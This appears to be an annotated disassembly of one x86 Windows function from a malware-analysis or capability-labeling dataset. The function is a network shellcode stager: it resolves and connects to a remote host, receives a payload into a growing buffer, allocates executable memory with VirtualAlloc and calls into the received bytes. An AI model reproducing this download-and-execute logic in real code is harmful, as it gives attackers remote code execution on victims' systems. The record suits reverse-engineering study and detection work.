Function at 0x10020c50
Capabilities:
Allocate or change rwx memory
Connect socket
Execute shellcode via indirect call
Initialize winsock library
Receive data
Receive data on socket
Resolve dns

Disassembly:
push ebp
mov ebp, esp
push esi
sub esp, 0x208
mov dword [ebp - 0x198], 0
mov dword [ebp - 0x19c], 0
lea eax, [ebp - 0x194]
mov dword [esp], 0x202
mov dword [esp + 4], eax
call dword [sym.imp.WS2_32.dll_WSAStartup]
sub esp, 8
lea eax, [ebp - 0x1bc]
xor ecx, ecx
mov dword [esp], eax
mov dword [esp + 4], 0
mov dword [esp + 8], 0x20
call fcn.1016bbb0
mov dword [ebp - 0x1b8], 2
mov dword [ebp - 0x1b4], 1
mov dword [ebp - 0x1b0], 6
lea ecx, [ebp - 0x1d4]
lea eax, [0x101fdf08]
mov dword [esp], ecx
mov dword [esp + 4], eax
call fcn.10020a60
lea ecx, [0x101fdf08]
lea eax, [ebp - 0x1d4]
mov dword [esp], eax
call fcn.1000c790
sub esp, 4
lea ecx, [ebp - 0x1d4]
call fcn.10006b40
lea ecx, [ebp - 0x1ec]
lea eax, [0x101fdf20]
mov dword [esp], ecx
mov dword [esp + 4], eax
call fcn.10020a60
lea ecx, [0x101fdf20]
lea eax, [ebp - 0x1ec]
mov dword [esp], eax
call fcn.1000c790
sub esp, 4
lea ecx, [ebp - 0x1ec]
call fcn.10006b40
lea ecx, [0x101fdf20]
call fcn.10007550
mov dword [ebp - 0x1fc], eax
lea ecx, [0x101fdf08]
call fcn.10007550
mov edx, dword [ebp - 0x1fc]
mov esi, eax
lea ecx, [ebp - 0x1bc]
lea eax, [ebp - 0x198]
mov dword [esp], esi
mov dword [esp + 4], edx
mov dword [esp + 8], ecx
mov dword [esp + 0xc], eax
call dword [sym.imp.WS2_32.dll_getaddrinfo]
sub esp, 0x10
mov dword [ebp - 0x1f0], eax
cmp dword [ebp - 0x1f0], 0
je 0x10020da9
call dword [sym.imp.WS2_32.dll_WSACleanup]
xor eax, eax
mov dword [esp], 0
call fcn.10176e7f
mov eax, dword [ebp - 0x198]
mov dword [ebp - 0x19c], eax
cmp dword [ebp - 0x19c], 0
je 0x10020e8f
mov eax, dword [ebp - 0x19c]
mov eax, dword [eax + 0xc]
mov ecx, dword [ebp - 0x19c]
mov ecx, dword [ecx + 8]
mov edx, dword [ebp - 0x19c]
mov edx, dword [edx + 4]
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
call dword [sym.imp.WS2_32.dll_socket]
sub esp, 0xc
mov dword [0x101fdf04], eax
cmp dword [0x101fdf04], 0xffffffff
jne 0x10020e17
call dword [sym.imp.WS2_32.dll_WSACleanup]
xor eax, eax
mov dword [esp], 0
call fcn.10176e7f
mov eax, dword [ebp - 0x19c]
mov eax, dword [eax + 0x10]
mov ecx, dword [ebp - 0x19c]
mov ecx, dword [ecx + 0x18]
mov edx, dword [0x101fdf04]
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
call dword [sym.imp.WS2_32.dll_connect]
sub esp, 0xc
mov dword [ebp - 0x1f0], eax
cmp dword [ebp - 0x1f0], 0xffffffff
jne 0x10020e76
mov eax, dword [0x101fdf04]
mov dword [esp], eax
call dword [sym.imp.WS2_32.dll_closesocket]
sub esp, 4
mov dword [0x101fdf04], 0xffffffff
jmp 0x10020e7b
jmp 0x10020e8f
mov eax, dword [ebp - 0x19c]
mov eax, dword [eax + 0x1c]
mov dword [ebp - 0x19c], eax
jmp 0x10020db5
mov eax, dword [ebp - 0x198]
mov dword [esp], eax
call dword [sym.imp.WS2_32.dll_freeaddrinfo]
sub esp, 4
cmp dword [0x101fdf04], 0xffffffff
jne 0x10020ec2
call dword [sym.imp.WS2_32.dll_WSACleanup]
xor eax, eax
mov dword [esp], 0
call fcn.10176e7f
mov dword [ebp - 0x1f4], 0
mov eax, dword [0x101f8720]
mov edx, dword [0x101fdefc]
mov ecx, eax
xor ecx, edx
xor edx, 0xffffffff
and eax, edx
shl eax, 1
sub eax, ecx
mov ecx, dword [0x101fdf00]
add ecx, dword [0x101fdefc]
mov edx, dword [0x101fdf04]
xor esi, esi
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
mov dword [esp + 0xc], 0
call dword [sym.imp.WS2_32.dll_recv]
sub esp, 0x10
mov dword [ebp - 0x1f4], eax
cmp dword [ebp - 0x1f4], 0
jle 0x10020f83
mov edx, dword [ebp - 0x1f4]
mov eax, dword [0x101fdefc]
xor ecx, ecx
sub ecx, eax
xor eax, eax
sub eax, edx
add ecx, eax
xor eax, eax
sub eax, ecx
mov dword [0x101fdefc], eax
mov eax, dword [0x101fdefc]
cmp eax, dword [0x101f8720]
jne 0x10020f7e
mov eax, dword [0x101f8720]
shl eax, 1
mov dword [0x101f8720], eax
mov eax, dword [0x101f8720]
mov ecx, dword [0x101fdf00]
mov dword [esp], ecx
mov dword [esp + 4], eax
call fcn.1017d8b3
mov dword [0x101fdf00], eax
jmp 0x10020fc7
cmp dword [ebp - 0x1f4], 0
jne 0x10020f95
jmp 0x10020fd9
mov eax, dword [0x101fdf04]
mov dword [esp], eax
call dword [sym.imp.WS2_32.dll_closesocket]
sub esp, 4
call dword [sym.imp.WS2_32.dll_WSACleanup]
mov eax, dword [0x101fdf00]
mov dword [esp], eax
call fcn.1017cb55
xor eax, eax
mov dword [esp], 0
call fcn.10176e7f
jmp 0x10020fcc
cmp dword [ebp - 0x1f4], 0
jg 0x10020ecc
mov eax, dword [0x101fdefc]
xor ecx, ecx
mov dword [esp], 0
mov dword [esp + 4], eax
mov dword [esp + 8], 0x3000
mov dword [esp + 0xc], 0x40
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
sub esp, 0x10
mov dword [ebp - 0x1f8], eax
mov edx, dword [ebp - 0x1f8]
mov ecx, dword [0x101fdf00]
mov eax, dword [0x101fdefc]
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
call fcn.1016b630
call dword [ebp - 0x1f8]
xor eax, eax
add esp, 0x208
pop esi
pop ebp
ret